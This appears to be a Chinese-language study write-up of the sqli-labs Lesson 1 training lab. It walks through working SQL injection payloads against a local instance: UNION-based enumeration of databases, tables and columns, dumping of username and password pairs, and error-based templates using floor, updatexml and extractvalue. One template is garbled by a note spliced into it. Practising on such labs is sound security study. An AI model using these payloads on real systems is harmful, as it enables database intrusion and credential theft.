0x01字符注入

今天是第一天的学习sqli-labs

Lesson1:字符型注入

首先测试一下 ' 发现报错  然后 ''发现 不报错 这种大概率就是字符注入了

sqli-labs(1)_字符注入

接下来我们进行列查询  查询语句

http://127.0.0.1/sql1/Less-1/?id=1%27%20order%20by%204%23

发现列数是3 这里后面之所以要用%23是因为这里我们的url在ger方式提交的时候要进行一次url转码 所以我们要让转码后的字符为#来闭合语句

查看当前数据库名称

http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,database(),3%23

sqli-labs(1)_字符注入_02

查看所有数据库名称

http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,(select%20group_concat(schema_name)%20from%20information_schema.schemata),null%23

sqli-labs(1)_字符注入_03

接下来数据库名称得到以后我们要进行获取表名  操作语句 这里你会遇见 直接table_schema=你想查的数据库名 这样行不通 得把它转换为16进制在赋值给前面才能成功

对16进制的解释、、、http://127.0.0.1/s/Less-1/?id=’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23

sqli-labs(1)_字符注入_04

看到表名中有一个叫做users的表应该有点东西 接下来我们爆列名

http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23

sqli-labs(1)_字符注入_05

可以看见里面有username password这些关键字 我们就可以爆字段了

http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23

sqli-labs(1)_字符注入_06

成功爆出字段usernamepassword字段名   0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。

0x02手工报错型注入

既然讲到这里 我们就来讲一下报错类型有些什么?

以下学习来自大佬

1、通过floor报错

 

and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

 

注:输出字符长度限制为64个字符

payload填sql语句

2、通过updatexml报错

    and updatexml(1,payload,1)
    and updatexml(1,concat(0x7e,@@version,0x7e),1)注:输出字符有长度限制,最长32位

3、通过ExtractValue报错

 

    and extractvalue(1, payload)
    and extractv注:输出字符有长度限制,最长32位alue(1, concat(0x7e,@@version,0x7e))

 

我们简单的了解了报错型手工注入之后我们来进行实战

先要检查报错类型的payload

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=1%23   ///并未报错
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=2%23  ///报错了

证明确实存在手工报错型注入,

爆表的payload 这里我们运用的是上面的报错的方法的第二种

127.0.0.1/sql1/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23

sqli-labs(1)_字符注入_07

可以看见成功爆出表名 接下来我们进行列名的爆破

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)))%23

 

sqli-labs(1)_字符注入_08

 这里发现这些并未显示完全 是因为这个报错最多就报错 32个字符 那我们可以用其他语句让他显示完全

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27and%20column_name%20not%20in%20(%27user_id%27,%27first_name%27,%27last_name%27,%27user%27,%27avatar%27,%27last_login%27,%27failed_login%27))))%23

sqli-labs(1)_字符注入_09

接下里就是爆值的操作

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users)))%23

 同样使用not in显示其他值

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users%20where%20username%20not%20in%20(%27Dumb%27,%27Angelina%27))))%23

 

sqli-labs(1)_字符注入_10

sqlmap这里我们就不讲了 基本上都会一把梭哈 嘿嘿

切记 少就是多 快就是慢哦~~